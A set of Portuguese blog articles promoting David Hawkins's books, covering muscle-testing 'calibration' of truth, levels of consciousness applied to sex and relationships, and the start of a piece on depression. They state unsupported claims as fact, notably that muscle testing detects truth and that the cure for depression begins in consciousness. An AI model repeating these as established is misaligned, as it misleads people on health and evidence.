É importante ressaltar que o músculo ficar forte ou fraco não é a única reação da consciência que podemos verificar no nosso corpo físico. No entanto, o teste muscular é a maneira mais prática de se observar a Verdade.

“A técnica do braço é usada porque é rápida, fácil e altamente visível. No entanto, a resposta na verdade não é apenas a resistência muscular, mas também a uma ampla gama de respostas fisiológicas, como dilatação pupilar e função cerebral (atualmente objeto de projetos de pesquisa multimilionários conduzidos por agências de inteligência do governo dos EUA), juntamente com motilidade gástrica e outras respostas do sistema nervoso autônomo. Estes são detectáveis em laboratório e, portanto, não são práticos para uso diário rápido.” – Fonte: Veritas Publishing FAQ

Condições para aplicar o teste muscular

Cada vez que fazemos um teste como esse para saber se algo é Verdadeiro ou Falso, chamamos de calibragem. Podemos ir além com essa técnica de calibragem e determinar também o Nível de Consciência de qualquer coisa, desde que se pergunte antes se há permissão para isso, utilizando a mesma técnica.

Toda a tabela dos Níveis de Consciência do dr. David Hawkins foi construída com anos de estudo de cinesiologia aplicada. A escala dos níveis de consciência vai de 1 a 1.000, onde 200 é o nível crítico onde começa a Verdade e a Integridade e 500 é o nível do Amor Verdadeiro. 

“Todo mundo pode fazer cinesiologia? A cinesiologia só pode ser feita efetivamente por pessoas que calibram acima do nível da Verdade e Integridade no nível de consciência 200. O motivo da inquirição também deve estar acima de 200.” – Fonte: Veritas Publishing FAQ

Outro ponto relevante é que todos os fatos do presente e passado ficam registrados no campo de consciência, até mesmo a quantidade de fios de cabelo que determinada pessoa possui. Por isso, é possível, consultar todo o presente e passado. No entanto, a cinesiologia não pode ser aplicada ao futuro, porque existe o livre arbítrio e o futuro está em aberto. 

“A cinesiologia é usada para determinar a presença da verdade ou a sua ausência (não verdade). A pessoa pode inquirir sobre qualquer coisa que aconteceu em qualquer período, qualquer lugar no tempo ou espaço, passado ou presente. Como o futuro não aconteceu ainda, ele ainda não existe e não há nenhuma verdade a ser determinada sobre algo que não existe.” – Fonte: Veritas Publishing FAQ

Além disso, é importante ressaltar que todos os livros do dr. David Hawkins contêm um apêndice ensinando a fazer a calibragem dos níveis de consciência.

Saindo da teoria e indo para prática

O primeiro passo é aceitar que a técnica é válida e funciona. Logo, é preciso atingir um estágio onde o ego compreende e aceita que é possível saber a verdade pressionando o braço até de uma criança.

“Agora, fraudes espirituais realmente não são mais possíveis, acabou o “lobo em pele de cordeiro”. Na essência, aquilo que é puro, verdadeiro e sagrado, se calibra como tal e a falsidade pode ser revelada até mesmo pelo braço de uma criança inocente (vídeo Power vs. Force, Hawkins, 1995).” – Dr. David Hawkins, “Reality, Spirituality and the Modern Man”

Para que essa compreensão ocorra, é necessário primeiro compreender que os fatos do mundo não são aleatórios, mas sim orquestrados por Deus. Nesse artigo onde explicamos o significado da expressão “Gloria In Excelsis Deo!” aprofundamos um pouco mais sobre esse tema. 

É um caminho no qual escolhemos sair do Relativismo, onde todos os pontos de vista são válidos e aceitar o Absolutismo, onde se observa que a fonte de tudo o que existe é Deus.

“A posicionalidade relativista é baseada na premissa de que todos os pontos de vista são igualmente válidos (“O terrorista de um homem é o libertador de outro”, etc.). Assim, se um relativista é íntegro ou honesto, então ele deve admitir que o absolutismo é uma alternativa igualmente válida ao próprio relativismo.” – Fonte: Veritas Publishing FAQs 

Considerações Finais

O nível de consciência revelado não se trata de opinião pessoal. A calibragem é impessoal e revela a Verdade para todos nós. 

“A calibragem da consciência é impessoal; apenas denota um número. Dr. Hawkins não era um proselitista nem interessado em persuadir as pessoas. Ele não teve nenhum envolvimento pessoal com os resultados das calibragens. Assim, as críticas que começam com “Você diz” ou “Como é que o Dr. Hawkins acredita”, etc., são todas projeções do próprio narcisismo do questionador. Observe que todos os livros principais incluem extensas referências e documentação.” – Fonte: Veritas Publishing FAQ

Calibrando a própria ferramenta da calibragem na escola Hawkins de Consciência, é revelado que essa ferramenta em si calibra em 600, Iluminação. Esse é o primeiro nível em que o ego se dissolve. É justamente por isso que a calibragem não é sobre opinião pessoal, ao contrário disso, é sobre deixar o ego de lado para conhecer a Verdade. 

“Krishna falou que a Espada da Verdade seria revelada, Jesus, por sua vez, falou que não veio trazer Paz e sim Espada.” – Vítor Esprega 

Não estamos aqui para buscar prazeres o tempo todo, estamos aqui para evoluir espiritualmente. Para isso nos são dadas essas “espadas”.

E quais são essas espadas? As mais tradicionais e conhecidas são oração, meditação, serviço altruísta ao próximo e fé. Mas também temos contemplação, deixar ir, disciplina, lógica, jejum, perdão, bom humor, se observar (“Vigiai e orai”), desenvolver virtudes, entre outras. Por fim, foi revelada a espada da calibragem nos permitindo discernir o que é Verdade e qual caminho seguir.

O discernimento da Verdade está disponível para nós aqui e agora. Diante dessa ferramenta, temos a peça que faltava no quebra-cabeça do praticante espiritual que almeja estados avançados de consciência a partir do Amor (500).

Gloria In Excelsis Deo!

Leia direto da fonte: livro “Poder vs Força” 

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. Portanto, confira aqui a sinopse do livro:

“Imagine: e se você tivesse acesso a uma simples resposta de sim ou não para qualquer dúvida que quisesse tirar. Uma resposta demonstravelmente verdadeira. Qualquer pergunta… pense nisso.” — do Prólogo.

“[Um] lindo presente escrito . . . [Você] espalha alegria, amor e compaixão por meio do que escreve. O fruto dessa árvore é paz, como você bem sabe…” — Madre Teresa de Calcutá, missionária ganhadora do prêmio Nobel da Paz. 

“Eu aprecio especialmente [a] pesquisa e apresentação dos campos atratores corporativos…” — Sam Walton, fundador da rede mundial de varejo Walmart

“… particularmente oportuno…uma contribuição significativa para entender os problemas que enfrentamos hoje em dia e lidar com eles. ” — Lee Iacocca, criador do carro Mustang.

“Formidável! Uma obra de arte! Um trabalho para a vida toda!” — Sheldon Deal, presidente do International College of Applied Kinesiology

Em Poder vs. Força, David R. Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: como distinguir instantaneamente a verdade da falsidade. 

Esse é o livro onde o dr. David Hawkins, M.D., Ph.D., apresentou ao mundo pela primeira vez a Tabela dos Níveis de Consciência. É um bestseller que eleva a ciência a um patamar não linear. É o relato de décadas de dedicação em determinar o que torna pessoas e sistemas robustos, saudáveis, efetivos e espirituosos. 

Este livro é obrigatório para quem não descobriu ainda o poder do trabalho do Dr. David Hawkins ou para aqueles que querem se aprofundar em seus ensinamentos e sua visão única com relação a saúde, felicidade e todas as áreas da vida.

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Poder vs Força.

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Sexualidade: desde quando isso é coisa de Deus? (Parte 1)

Nesse artigo, inspirado no capítulo 6, do livro “Cura e Recuperação”, vamos observar que a sexualidade depende de como a enxergamos. O sexo em si é neutro. Nós é que damos o valor a ele e o contextualizamos na nossa vida de acordo com a nossa maneira de ver o mundo. 

Nessa primeira parte do artigo, vamos mostrar aqui algumas visões mais comuns sobre o sexo: desejo, orgulho, aceitação e amor. Já na segunda parte, vamos desmistificar de uma vez por todas a ideia de que o sexo é algo animalesco e pecaminoso que nos distancia de Deus. Além disso, vamos ensinar algumas práticas para quebrar os padrões indesejados e ampliar nossa consciência sobre o assunto. 

Nossa experiência sexual está na consciência

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

“Um pensamento não experiencia sua qualidade “pensar”; um sentimento não experiencia sua qualidade “sentir”. Algo maior que a mente deve estar presente, algo que é imutável em si mesmo. A razão pela qual sabemos o que está se passando na mente é por causa da consciência, que é um campo muito maior do que a mente. A mente nos diz o que se passa nas emoções, pensamentos e sensações. As sensações nos dizem o que está se passando no corpo.” – Dr. David Hawkins, “Cura e Recuperação”

Esse trecho acima nos permite observar que todas as experiências, na verdade, acontecem na consciência e ao compreender isso, temos o poder de escolha entre quais experiências queremos para nós. É verdade que não podemos escolher o que vai acontecer conosco, mas podemos escolher como vamos lidar com o que acontece conosco.

Podemos escolher o nível de consciência da experiência

Durante o sexo, a experiência também ocorre na consciência, assim, temos poder de escolha do que vamos vivenciar. Mesmo que haja traumas e experiências anteriores que foram densas, ainda há o poder de escolha de como lidar com isso e o que escolher vivenciar no momento presente.

O sexo no nível de consciência do Desejo

Esse é uma visão muito usual do sexo. Há uma visão de que o sexo é algo separado de nós e que precisa ser conquistado. É assim o campo de consciência de brincar com jogos de desejo, manipulações, fantasias, posições e moedas de troca. 

Aqui estão a maior parte dos filmes com aquela paixão avassaladora do “preciso de você”, “te desejo” e até das propagandas de publicidade que querem atrelar seus produtos com o sucesso em conquistar aquilo que resulta em sexo. 

O sexo aqui é de baixa qualidade e muito baseado na fisicalidade gerando um prazer limitado, que só envolve as áreas genitais. Assim, dispara diversos sentimentos negativos que se correlacionam de maneira em que um tende a puxar o outro. 

“Manter a sexualidade do nível físico do Desejo (nível de calibragem 125) e dividindo-a entre padrões de macho e fêmea, cria um sentimento de separação. Dessa separação surge o desejo; do desejo surge a frustração; da frustração surge raiva e ressentimento; e de tudo isso surge medo, tristeza e apatia. Como resultado, as pessoas são tendenciosas a sentir culpa com relação a sexualidade; alguns são também limitados pela apatia, desesperança e ausência de desejo; outros associam sexualidade com tristeza; e alguns tem medo.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência do Orgulho

No nível do orgulho, a pessoa se sente tão superior, tão mais evoluída que os outros que nem precisa dessas coisas que considera “animalescas” na sua vida.

“Há também o orgulho sobre a moralidade sexual, que é vista com desprezo, negação ou conflito religioso. Pessoas orgulhosas normalmente mantêm a sexualidade de uma visão desdenhosa de “nariz empinado” e veem qualquer pessoa que se satisfaz nesse tipo de atividade como degradadas por sua natureza animal inferior. Presumem que todos são controlados pela energia como eles são. Pessoas que mantêm desprezo pela sexualidade estão projetando sua própria maneira de lidar com o assunto nos outros e dizem “Eles não são carnais? Não são animais?”.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo no nível de consciência da Aceitação 

No nível de aceitação a pessoa é livre das manipulações, de não conseguir controlar os impulsos sexuais ou de ter que sair correndo para comprar aquilo que está na propaganda. A mesma disposição que trouxe a pessoa até aqui começa a movê-la em direção ao amor. 

Esse é um estado de aceitação dos fatos da vida, de quem somos, da nossa humanidade e dos nossos impulsos animais. Começamos a nos sentirmos adequados e confiantes por observar que nossas questões são respondidas pela própria vida.

“Por que a religião e a moral focam nesse tipo de campo de energia e por que é chamado de “carnal”? A sexualidade de baixa energia é mantida em mente em um ponto de vista inferior e, assim, todo o assunto da moralidade na sexualidade foca naquilo que é carnal. A carnalidade surge de olharmos de maneira pejorativa para nossa natureza animal em vez de aceitá-la, ficar feliz com ela, ser grato por ela e dizer que é intrinsecamente linda quando não é julgada ou mantida em mente de uma maneira degradante.” – Dr. David Hawkins, “Cura e Recuperação”

O sexo a partir do nível de consciência do Amor

Nesse nível de consciência a pessoa compreende que não existe “fazer” sexo, e sem o fazer some a necessidade de performance, de frequência, de moeda de troca e tudo de negatividade que surge em torno disso. 

A pessoa aqui se torna uma com o momento em que a experiência sexual ocorre e se permite experienciar esse ato onde ele ocorre, na consciência. A experiência não fica restrita as áreas genitais e é sentida em todo o corpo e além. Não há medo em ser um com o outro.

“Em vez de experiência física localizada, existe sentimentos bem diferentes de expansividade e unidade que surgem por estar com a energia da outra pessoa. Talvez um segundo antes, não haveria qualquer pensamento de sexo na cabeça de ambos. O casal está esperando a torrada pular da tostadeira. Então existe um acolher que é feito nesse espaço que é claro. Em outras palavras, os parceiros largaram qualquer reticência, ressentimento ou coisa que estava impedindo que ficassem juntos.

Do próprio acolher, surge o desejo que é agora de uma natureza totalmente diferente. É o desejo de estar com e experienciar essa pessoa e sua energia. A espontaneidade do assunto não nasce do desejo, mas do espaço de vitalidade essencial e da energia de estar com a outra pessoa. É uma experiência difusa e geral e existe alegria e gratidão por experienciar pela oportunidade de estar com essa energia. A grande alegria e prazer disso trazem senso de integridade de tudo.” – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

A segunda parte desse artigo contém algumas práticas para sair do sexo de baixa qualidade para o sexo de alta qualidade, além de uma reflexão do posicionamento de Deus diante de tudo isso. 

Leia direto da fonte: livro “Cura e Recuperação”

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Como resultado, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que foi absorvida pela Pandora Treinamentos, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

 Estão todos convidados para mergulhar nesse conteúdo conosco.

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Relacionamentos: um guia prático e amoroso das interações sociais (Parte 2)

Esse artigo é o segundo de uma série de dois artigos sobre Relacionamentos, baseados no “Capítulo 18: Relacionamentos” do livro “Deixar Ir, o Caminho do Desapego”. Logo, se você ainda leu a primeira parte, clique aqui.

A condição humana 

Somos humanos, e como tal, todos nós sentiremos emoções negativas, não é exclusividade de um ou outro. Aceitar a nossa humanidade, ao invés de nos culparmos e nos massacrarmos, é um passo essencial para começarmos essa mudança. É uma atitude não julgadora. Assim, vamos reconhecer que não somos esses sentimentos negativos, eles apenas fazem parte de ser humanos. Esses sentimentos negativos NÃO são o nosso “Eu verdadeiro”, que é um ser de Amor infinito.

Vamos começar sendo amorosos com nós mesmos. Basta observar que é só medo que está por trás de tudo isso. E o medo não passa de uma ilusão. O medo é a base de todos esses sentimentos negativos, temos medo de perder nossos relacionamentos, de perder a nossa segurança e de não sobreviver. Isso é normal. Mas, há dois problemas em como lidamos com isso.

O primeiro problema que surge ao lidar com as emoções negativas é a resistência a elas. Paradoxalmente, é justamente a resistência que mantém esses sentimentos dentro de nós. Isso não significa soltar um balde de emoções negativas nas outras pessoas ao nosso redor. Mas significa deixar que essas emoções venham à tona para que possamos rendê-las. Esse é o único propósito válido em manifestarmos essas emoções negativas em nossas vidas: rendê-las. 

O medo não nos protege

O segundo é achar que o medo que nos protege. Não é. Lembre-se: “o medo é uma ilusão”. Todo sentimento negativo é uma ilusão, e literalmente, nos enfraquece. Além de nos aproximar daquilo que mais tememos, porque ficamos mantendo isso em mente. Esses sentimentos negativos também nos afastam daquilo que desejamos, porque as pessoas sentem que temos interesses ocultos ao nos relacionarmos com elas. 

Quando é o Amor que nos move, podemos mover montanhas em nossos relacionamentos, mas quando são sentimentos de ‘picuinha’ só vamos fazer ações de mau grado. Vamos sair de relações ganha-perde, que geram ódio e rancor, para relações ganha-ganha, que trazem a verdadeira felicidade.

Eventualmente, quando rancor surgir pense: “é realmente assim que eu gostaria de passar o dia de hoje? E se hoje for o último dia da minha vida?” Permita-se criar para você uma nova vida sem aquele velho rancor, sem conflito e sem medo.

Sentimentos Positivos

Ao rendermos os sentimentos negativos, naturalmente surgem os positivos. Vem a coragem de fazer aquilo que estávamos com medo, a disposição em fazer aquilo que estávamos com preguiça e por aí vai. Chegamos em um estado de “Eu consigo!”.

Naturalmente, a reação de todos ao nosso redor também muda, seja com uma colega de trabalho, com algum conhecido, amigo ou cônjuge, isso reflete em todas as áreas da nossa vida. As coisas acontecem sem grandes dificuldades. Há um “sentimento de sintonia”, uma compreensão verdadeira e uma alegria.

Conectividade

Ao buscar nossa evolução pessoal e chegar em um estado de paz, serenidade, simplicidade, nos sentimos mais conectados com os outros, há uma sensação mútua de estarmos em comunhão. Os outros podem vivenciar uma consciência aumentada de quem realmente são, só por estarem na presença de alguém assim, que não está mantendo nenhuma negatividade. 

Os frutos são deliciosos, é um compartilhar da paz, da tranquilidade e da alegria, sem rancor e sem rusgas! É um relacionamento sem barreiras, no qual, às vezes, até se sabe, conscientemente, o que o outro está pensando, mesmo sem ter muita intimidade. É um reflexo da aceitação mútua, onde os dois envolvidos aceitam a sua humanidade e a do outro.

Efeito dos Sentimentos Positivos

Há uma lei da consciência que é implacável: semelhante atrai semelhante. Nossos sentimentos são energia, assim sendo, somos como estações de envio e recebimento. Quanto mais amorosos nos tornamos, mais Amor se torna disponível para nós. As nossas relações vão se transformando e se reciclando e quando menos esperarmos, estaremos cercados de Amor. Esse subsistir do sentimento negativo por um maior é um verdadeiro milagre na vida de qualquer individuo. As coisas são muito mais conectadas do que podemos observar com a nossa mente linear, Carl Jung tentou nos explicar isso através do fenômeno chamado “sincronicidade”.

Deixando Ir as Expectativas

Todos nós escutamos que você “colhe o que planta”, mas isso se torna distante porque muitas vezes há uma demora entre um acontecimento e outro. No entanto, quando a gente usa a técnica do Deixar Ir é possível observar isso, muitas vezes em tempo real. Vamos citar alguns exemplos adiante, mas antes vamos treinar nossa observação.

Os frutos que colhemos são sempre reflexo das nossas intenções. Observe que sempre que tentamos forçar o outro a mudar, ele resiste. Quanto mais forçamos, mais resistência. Não se iluda se a pessoa ceder e mudar por um ato de força que foi feito. Quando não há aceitação interna, não é possível ter um resultado duradouro. 

A chave é reconhecer que não é o desejo que nos leva onde queremos e nem a raiva nem o medo que vão nos proteger. Ao contrário do que imaginamos, as expectativas bloqueiam o resultado que desejamos. 

Aqui, o exercício é o oposto da parte 1 desse artigo, é refletir sobre o melhor cenário possível. A partir daí, também render o medo de não acontecer e a expectativa de que aconteça. A frustração surge de querer que aconteça AGORA. Mas quando as expectativas são rendidas não há mais uma pressão de “quando será que vai acontecer?”. Isso reflete em paciência e observe que as pessoas pacientes normalmente conseguem o que querem. 

Conclusão

Conforme rendemos os sentimentos negativos, inesperadamente chegamos exatamente no resultado que a gente queria. Nesse capítulo sobre relacionamentos, o dr. Hawkins relata o caso de um processo judicial trabalhista que foi cancelado ao empregador render a raiva do funcionário (com uma diferença de 2 minuto no relógio!), o caso de um casal se divorciando que estava brigando por um objeto e após o homem render seu desejo a mulher ligou e ofereceu o objeto (além de oferecer embalar e enviar) e o caso de um amigo que emprestou 200 dólares ao outro e só recebeu o dinheiro de volta depois de deixar ir o ressentimento que estava guardando sobre isso (o amigo não tocou no assunto durante um ano). Quando algo não flui, e olhamos nossos sentimentos e pensamentos sobre isso, a reação do outro é óbvia. Era só um reflexo do que a gente estava sentindo. 

“Se ainda mantiver a fantasia de que a outra pessoa não sabe dos seus pensamentos e sentimentos apenas saiba que os cães rapidamente percebem! Realmente achamos que a psique humana é inferior à de um cachorro? Se um cão rapidamente lê a nossa atitude interna completamente, podemos ter certeza de que a intuição das pessoas ao nosso redor está pegando a mesma vibração.”

O render dos sentimentos não é um ato de manipulação para se conseguir o que quer, é, na verdade, um ato de Amor a si mesmo e ao outro. Observe que o importante é o desapego com o resultado, se não acontecer nada, como muitas vezes não acontece, está tudo bem. A pessoa já não fica chateada em não ter aquele resultado e é justamente por isso que flui. A pessoa sai de um desejo egoísta para aceitar a Vontade de Deus, aquilo que é o melhor para o contexto.

Todos sabem o que está na sua mente

De agora em diante, imagine que todos sabem exatamente o que está se passando na sua mente enquanto você lida com eles. Vai ser desafiador, mas certamente divertido, quase como um filme de comédia. Além de trazer uma enorme oportunidade de purificar seus sentimentos e, consequente, aumentar usa energia e felicidade. Mas isso só é possível se você não reprimir seus sentimentos, nem tentar controlar seus pensamentos. Respeite a si mesmo! E assim, você aprende a respeitar aos outros.

Não reprima sentimentos negativos fazendo aquilo ressoar em você mesmo e sugar sua energia. Se permita observar a si mesmo e deixar ir aquilo que não serve ao Amor. 

Vamos juntos nessa jornada!

Não perca nada! Essa é só a segunda parte do artigo

Para ler a primeira parte desse artigo sobre Relacionamentos, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Relacionamentos: um guia Prático e Amoroso das Interações Sociais (Parte 1)

Uma pessoa tem uma dedicação exemplar no trabalho. Mas no fundo, não concorda com algumas atitudes do chefe, não tem bons relacionamentos com ninguém, acha alguns colegas de trabalho irritantes, e na sua mente várias coisas passam o tempo todo daquilo que não está bom. Ela só sorri e segue fazendo o que pode. Até que um dia é surpreendida pelo fato que perdeu a promoção que foi oferecida no trabalho. E não sabe o porquê.

Há uma inocência da nossa parte em acreditar que os nossos pensamentos estão só na nossa cabeça, que ninguém consegue perceber o que realmente sentimos e que isso não vai influenciar em nada o contexto. É claro que o chefe conseguia sentir o ressentimento daquela pessoa, mesmo que ele por sua vez também não expressasse nada. Mas algo lhe dizia que “alguma coisa está errada”, mesmo que essa pessoa negue ao perguntarem isso para ela. É esse o exemplo que o dr. David Hawkins nos dá no capítulo 18 sobre Relacionamentos, do livro “Deixar Ir – O Caminho do Desapego”, sobre o qual vamos tratar aqui nesse artigo.

“Quase todo mundo é levado a acreditar que nossos pensamentos e sentimentos são assuntos privados e não são da conta de ninguém, que todas as mentes são separadas e que todas as emoções acontecem apenas dentro dos confins do corpo. (…) Conforme nos tornamos mais intuitivos, iremos rir da nossa ingenuidade até então.”

Aprendendo a assumir a responsabilidade

Quando a gente aprende a lidar com os ressentimentos pela gente mesmo, sem esperar que o outro mude, sem ficar repetindo diálogos, e por vezes até montando diálogos em nossa mente, tudo muda. Não existe relação boa ou ruim, todos os relacionamentos trazem à tona nossos sentimentos mais íntimos, por estarem conectados aos nossos desejos básicos por amor e segurança. Sendo assim, quando estamos em busca de emancipação emocional, todas as relações são valiosas para o nosso aprendizado. É um constante render de sentimentos negativos, sentimentos os quais não seriam observados sem essas relações. 

“Quando os sentimentos internos são rendidos, a forma como vemos a situação muda, e frequentemente somos surpreendidos pela brusquidão com a qual os sentimentos de perdão repentinamente surgem e o relacionamento se transforma, mesmo que a nível exterior não tenhamos feito ou dito nada.”

Não acredite no que está escrito aqui. Teste você mesmo essa teoria de que as pessoas sabem o que está se passando na sua cabeça o tempo todo. Veja o que está na sua cabeça e como elas estão te tratando. Quando observar que há um sentimento negativo em relação ao outro, ao invés de resolver fora de si mesmo, buscando mudar uma atitude do outro, se volte para si. Observe seus sentimentos e deixe-os ir. Aqui, vamos falar dos principais sentimentos negativos que ocorrem nos relacionamentos, e como lidar com cada um deles, assim como o dr. Hawkins nos ensinou.

Raiva

A gente tem uma esperança secreta de que a nossa raiva vai punir os outros e fazê-los sofrer, mas na verdade, tudo o que faz é dar uma justificativa para que essas pessoas possam nos odiar de volta. A verdade é que sentir raiva só prejudica a nós mesmos, e nos coloca num ciclo de raiva, já que o outro provavelmente vai nos responder com mais raiva. É como querer apagar fogo com fogo. Isso gera grande sofrimento. Qual seria então a água que vai acabar com esse fogo? É o Amor. Ao sair desse padrão mais baixo (a raiva) e mudar para um padrão energético mais alto (o Amor), deixamos de ser psiquicamente vulneráveis as outras pessoas.

“Existe uma base científica interessante para a advertência de Jesus de abençoar e amar os nossos inimigos. (…) Quando estamos em um estado de raiva, por exemplo, estamos vulneráveis ao esgotamento de energia trazido pela raiva da outra pessoa. Paradoxalmente, se realmente queremos afetar os outros devemos apenas dar-lhes amor. Então suas raivas vão se voltar contra elas mesmas sem nenhum efeito sobre nós! Esta foi a sabedoria da declaração de Buda no Dhammapada: “O ódio não é conquistado com o ódio. O ódio é conquistado com amor. Essa é uma lei eterna”.”

Culpa

O objetivo aqui é diminuir o outro. Há um desejo oculto de que o outro seja punido, junto com uma autopunição por estarmos no meio disso tudo. É tudo uma projeção inconsciente. Observe que quando a gente se sente culpado por determinado assunto, inevitavelmente seremos “alfinetados” por isso, mais cedo ou mais tarde. Quando não queremos mais que os outros nos critiquem, a solução é Deixar Ir a culpa e todos os outros sentimentos negativos que costumam surgir junto com ela.

“Se mantivermos em mente que somos pequenos e sem valor, extraímos esse tipo de resposta dos outros, cujas observações tendem a indicar que somos pequenos e sem valor. Se pensar que só merecemos o pedaço de um pão, isso é o que teremos. Isso é o que as escrituras quiseram dizer com a declaração “o pobre fica mais pobre e o rico fica mais rico”. Pobreza em qualquer nível, não apenas financeiro, vem da pobreza interna.”

Tristeza e apatia

Esses sentimentos de tristeza e apatia, que nos deixam deprimidos, desesperançosos e cheios de mágoas, vem de uma programação interna de “eu não consigo”. E com isso, a gente espera que esses sentimentos gerem pena nos outros, buscamos que sejam simpáticos com a gente e que a gente possa, assim, ser ajudado. Esse sentimento de pena, até gera uma ajuda inicial. Mas há uma demanda de energia tão grande que o outro tem que nos dar que ele simplesmente vai acabar se afastando. 

Só podemos superar esse estado com a coragem de permitir que essas emoções surjam nas condições adequadas para podermos deixá-las ir. 

“Isso resulta no ditado comum, que soa duro ao coração, mas infelizmente é verdadeiro em muitos casos: “Quando você ri, o mundo ri com você, mas quando você chora, chora sozinho.”.”

Medo

O objetivo do medo nos relacionamentos é possuir a outra pessoa e puni-la pelos nossos próprios medos de perda. A outra pessoa, sentindo essa pressão, tem a vontade de se afastar. Ao contrário do que pensamos popularmente, o medo não nos protege, ele nos aproxima do que mais tememos. É por manter essa insegurança e esse medo em mente que a gente acaba atraindo justamente esse tipo de situação para nossa vida. A saída aqui é renunciar ao nosso desejo interno de controlar os outros, deixando ir os nossos medos, conforme eles surgem. 

“Medo em relacionamento, portanto, é dar o nosso poder para outra pessoa e permitir que ela faça o que tememos. A saída é olhar para o pior cenário possível e para os sentimentos que o despertam e começar a rendê-los. Como outras emoções, o medo pode ser desmembrado em partes, e as partes são facilmente rendidas. Por exemplo, digamos que existe um medo de ataque crítico. Perguntamos para nós mesmos: “Qual é o pior cenário possível?” Com essa dúvida, vemos que a base do medo é o orgulho. Quando o orgulho é reconhecido e rendido, o medo se dissolve automaticamente.”

Orgulho

A esperança secreta que vem com o orgulho é a de ser aceito e admirado pelos outros e melhorar dessa forma seus relacionamentos. O orgulho não é uma emoção positiva, como a sociedade acredita, ele coloca a nossa autoestima em algo temporário e volátil e pode evaporar com uma simples crítica ou um levantar de sobrancelhas. Ele gera um grande esforço, que se manifesta como perfeccionismo, obsessão por limpeza, por trabalho, por ser pontual, ou como polidez e superioridade moral. E ao invés de gerar a aceitação pretendida, os sentimentos que o orgulho gera nas outras pessoas são inveja, competitividade, ódio e fácil exploração.  

Para lidar com o orgulho, o caminho é uma autoestima genuína, que é motivada pela gratidão e humildade interior, sem que haja a necessidade de constantes afagos. Paradoxalmente, é justamente quando paramos de querer que as pessoas gostem de nós, que descobrimos que somos apreciados como somos.

“Falsa humildade apenas diz para a outra pessoa: “Eu sou uma pessoa pequena, por favor me tratem dessa forma” e, é claro, elas prontamente o farão.”

Não perca nada! Essa é só a primeira parte do artigo

Para ler a segunda parte, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

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Níveis de Consciência

Como Sair da Depressão? – Parte 2

Na primeira parte deste artigo sobre como sair da depressão, desmistificamos algumas crenças sobre a depressão e vimos que a abordagem correta para tratamento e cura deve considerar as esferas física, mental e espiritual.

Porém, há uma hierarquia entre essas esferas. A cura para a depressão começa na consciência, já que uma mudança no campo de consciência produz mudanças na mente e no corpo, segundo Dr. David Hawkins.

Então, como identificar as reais causas da depressão a partir da consciência e facilitar o processo de tratamento ou cura? É o que veremos a partir de agora.

Quais são as reais causas da depressão?

Para compreendermos a depressão em profundidade, utilizaremos o conceito do Mapa da Consciência (também conhecido como Escala dos Níveis de Consciência, Escala Hawkins ou Escala as Emoções) que já foi explorado aqui em outros artigos.

Na base do Mapa da Consciência estão os níveis de consciência chamados de Culpa, Apatia e Tristeza. Esses campos se expressam na prática como sentimentos de ódio de si mesmo, desesperança e desânimo. Perceba que, nesses campos energéticos, a depressão é o estado natural.

São níveis com pouquíssima energia. Quando os vivenciamos, passamos a ter uma visão de mundo triste e sem esperança. Tudo é sofrimento e dor. A visão de Deus é de um Deus que nos ignora, que não se preocupa conosco e ao qual não estamos conectados. A sensação é de que não temos valor, somos culpados ou pecadores.

Sempre que falamos de um determinado nível de consciência (ex.: Culpa, Apatia, Tristeza), estamos falando de um conjunto enorme de características que incluem, por exemplo: emoções específicas, pensamentos típicos, crenças, comportamentos, uma determinada visão de mundo e de Deus.

